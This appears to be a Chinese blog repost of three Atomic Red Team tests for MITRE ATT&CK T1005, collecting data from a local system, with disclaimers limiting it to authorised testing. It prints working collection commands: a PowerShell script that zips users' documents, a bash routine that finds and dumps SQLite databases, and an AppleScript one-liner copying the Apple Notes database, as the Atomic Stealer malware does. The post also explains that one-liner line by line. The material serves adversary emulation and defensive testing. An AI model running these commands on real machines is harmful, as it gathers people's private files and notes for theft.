T1005 - 从本地系统获取数据

admin 2025年3月24日19:47:36评论7 views字数 5629阅读18分45秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1005-从本地获取数据。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

来自ATT&CK的描述

攻击者可能会搜索本地系统资源,如文件系统、配置文件或本地数据库,以便在数据渗出之前找到感兴趣的文件和敏感数据。

攻击者可能会使用命令和脚本解释器(在新标签页中打开),例如cmd(在新标签页中打开),以及网络设备命令行界面(在新标签页中打开)来实现这一目的,这些工具具备与文件系统交互以收集信息的功能。(引用:show_run_config_cmd_cisco)攻击者也可能在本地系统上使用自动收集工具。

原子测试

  • 原子测试#1 - 搜索感兴趣的文件并将其保存到单个zip文件中(Windows)
  • 原子测试#2 - 查找并转储SQLite数据库(Linux)
  • 原子测试#3 - 使用AppleScript复制苹果笔记数据库文件

原子测试#1 - 搜索感兴趣的文件并将其保存到单个zip文件中(Windows)

此测试会搜索具有特定扩展名的文件,并在提取之前将它们保存到单个zip文件中。

  • 支持的平台
    Windows
  • 自动生成的GUID
    d3d9af44 - b8ad - 4375 - 8b0a - 4bff4b7e419c
  • 输入参数
名称
描述
类型
默认值
starting_directory
搜索起始目录的路径
路径
C:Users
output_zip_folder_path
保存生成的zip文件的目录路径
路径
PathToAtomicsFolder..ExternalPayloadsT1005
file_extensions
要搜索并压缩的文件扩展名列表,用逗号和空格分隔
字符串
.doc, .docx, .txt
  • 攻击命令
    使用powershell运行!
$startingDirectory = "#{starting_directory}"$outputZip = "#{output_zip_folder_path}"$fileExtensionsString = "#{file_extensions}"$fileExtensions = $fileExtensionsString -split ", "New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-NullFunctionSearch-Files {param ([string]$directory)$files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {$fileExtensions -contains $_.Extension.ToLower()}return $files}$foundFiles = Search-Files -directory $startingDirectoryif ($foundFiles.Count -gt 0) {$foundFilePaths = $foundFiles.FullNameCompress-Archive -Path $foundFilePaths -DestinationPath "$outputZipdata.zip"Write-Host "Zip file created: $outputZipdata.zip"else {Write-Host "No files found with the specified extensions."}
  • 清理命令
Remove-Item -Path  $outputZipdata.zip -Force

原子测试#2 - 查找并转储SQLite数据库(Linux)

攻击者可能知道或假设系统用户使用的SQLite数据库中包含感兴趣的敏感数据。在此测试中,我们将下载两个数据库和一个SQLite转储脚本,然后运行find命令来查找并转储数据库内容。

  • 支持的平台
    :Linux
  • 自动生成的GUID
    :00cbb875 - 7ae4 - 4cf1 - b638 - e543fd825300
  • 输入参数
名称
描述
类型
默认值
remote_url
远程负载的URL
url
https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1005/src
  • 攻击命令
    使用bash运行!
cd $HOMEcurl -O #{remote_url}/artcurl -O #{remote_url}/gta.dbcurl -O #{remote_url}/sqlite_dump.shchmod +x sqlite_dump.shfind . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' ;
  • 清理命令
rm -f $HOME/.artrm -f $HOME/gta.dbrm -f $HOME/sqlite_dump.sh
  • 依赖项
    使用bash运行!
  • 描述
    检查是否在基于Debian的机器上运行。
  • 检查先决条件命令
if [ -x "$(command -v sqlite3)" ]; then echo "sqlite3 is installed"else echo "sqlite3 is NOT installed"exit 1; fiif [ -x "$(command -v curl)" ]; then echo "curl is installed"else echo "curl is NOT installed"exit 1; fiif [ -x "$(command -v strings)" ]; then echo "strings is installed"else echo "strings is NOT installed"exit 1; fi
  • 获取先决条件命令
if grep -iq "debian|ubuntu|kali|mint" /usr/lib/os-release; then apt update && apt install -y binutils curl sqlite3; fiif grep -iq "rhel|fedora|centos" /usr/lib/os-release; then yum update -y && yum install -y binutils curl sqlite-devel; fi

原子测试#3 - 使用AppleScript复制苹果笔记数据库文件

此命令将使用AppleScript复制苹果笔记数据库文件,就像在Atomic Stealer中看到的那样。

  • 支持的平台
    macOS
  • 自动生成的GUID
    cfb6d400 - a269 - 4c06 - a347 - 6d88d584d5f7
  • 输入参数
名称
描述
类型
默认值
destination_path
指定复制数据库文件的目标路径
路径
/private/tmp
  • 攻击命令
    使用sh运行!
osascript -e 'tell application "Finder"-e 'set destinationFolderPath to POSIX file "#{destination_path}"-e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"-e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
  • 清理命令
rm "#{destination_path}/NoteStore.sqlite*"

这行命令使用 osascript 工具来执行 AppleScript 代码,其主要目的是将 macOS 系统中 Notes 应用的数据文件复制到指定的目标文件夹。下面来详细分析这行命令的各个部分:

上述命令整体概述

osascript 是 macOS 系统里用于执行 AppleScript 脚本的命令行工具。而 -e 选项的作用是传递要执行的 AppleScript 代码片段。这行命令把多个 -e 选项组合起来,构建出一个完整的 AppleScript 脚本。

各部分详细分析

1. osascript -e 'tell application "Finder"'

  • osascript
    启动 AppleScript 解释器。
  • -e
    用于传递 AppleScript 代码片段。
  • tell application "Finder"
    这是 AppleScript 里的一种语法结构,意思是接下来的命令会向 Finder 应用程序发送,以此来操控 Finder 的功能。

2. -e 'set destinationFolderPath to POSIX file "#{destination_path}"'

  • set ... to
    AppleScript 里用于变量赋值的语句。
  • destinationFolderPath
    自定义的变量,用来存储目标文件夹的路径。
  • POSIX file "#{destination_path}"
    把 #{destination_path} 当作占位符,实际使用时要替换成具体的 POSIX 格式路径。POSIX file 用于将 POSIX 路径转换为 AppleScript 可以处理的文件对象。

3. -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"'

  • path to home folder as text
    获取当前用户主目录的路径,并将其转换为文本格式。
  • &
    在 AppleScript 中是字符串连接运算符。
  • "Library:Group Containers:group.com.apple.notes:"
    表示 Notes 应用的数据文件夹路径,该路径采用的是 HFS 路径格式(用冒号分隔)。
  • 整体上,notesFolderPath 变量存储的是 Notes 应用数据文件夹的完整路径。

4. -e 'set notesFolder to folder notesFolderPath'

  • folder notesFolderPath
    将 notesFolderPath 对应的路径转换为 Finder 可以处理的文件夹对象,然后赋值给 notesFolder 变量。

5. -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder'

  • {...}
    在 AppleScript 中用于创建列表。
  • file "NoteStore.sqlite"file "NoteStore.sqlite-shm"file "NoteStore.sqlite-wal":分别代表 Notes 应用的数据文件,是 SQLite 数据库文件及其相关的辅助文件。
  • of notesFolder
    表明这些文件位于 notesFolder 文件夹中。
  • 整体而言,notesFiles 变量存储的是一个包含这三个文件对象的列表。

6. -e 'repeat with aFile in notesFiles'

  • repeat with ... in ...
    AppleScript 里的循环语句,其作用是对 notesFiles 列表中的每个文件对象进行迭代操作。
  • aFile
    循环变量,代表当前正在处理的文件对象。

7. -e 'duplicate aFile to folder destinationFolderPath with replacing'

  • duplicate ... to ...
    这是 Finder 的一个命令,用于将文件复制到指定的目标文件夹。
  • with replacing
    表示若目标文件夹中已经存在同名文件,会进行覆盖替换。

8. -e 'end'

  • 用于结束 repeat 循环。

9. -e 'end tell'

  • 用于结束 tell application "Finder" 块,表明与 Finder 应用程序的交互结束。

总结

这行命令的主要功能是把 macOS 系统中 Notes 应用的数据文件(NoteStore.sqliteNoteStore.sqlite - shm 和 NoteStore.sqlite - wal)复制到指定的目标文件夹。需要注意的是,#{destination_path} 是一个占位符,在实际使用时要替换成具体的目标文件夹路径。

原文始发于微信公众号(网空安全手札):T1005 - 从本地系统获取数据

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月24日19:47:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1005 - 从本地系统获取数据http://cn-sec.com/archives/3876021.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息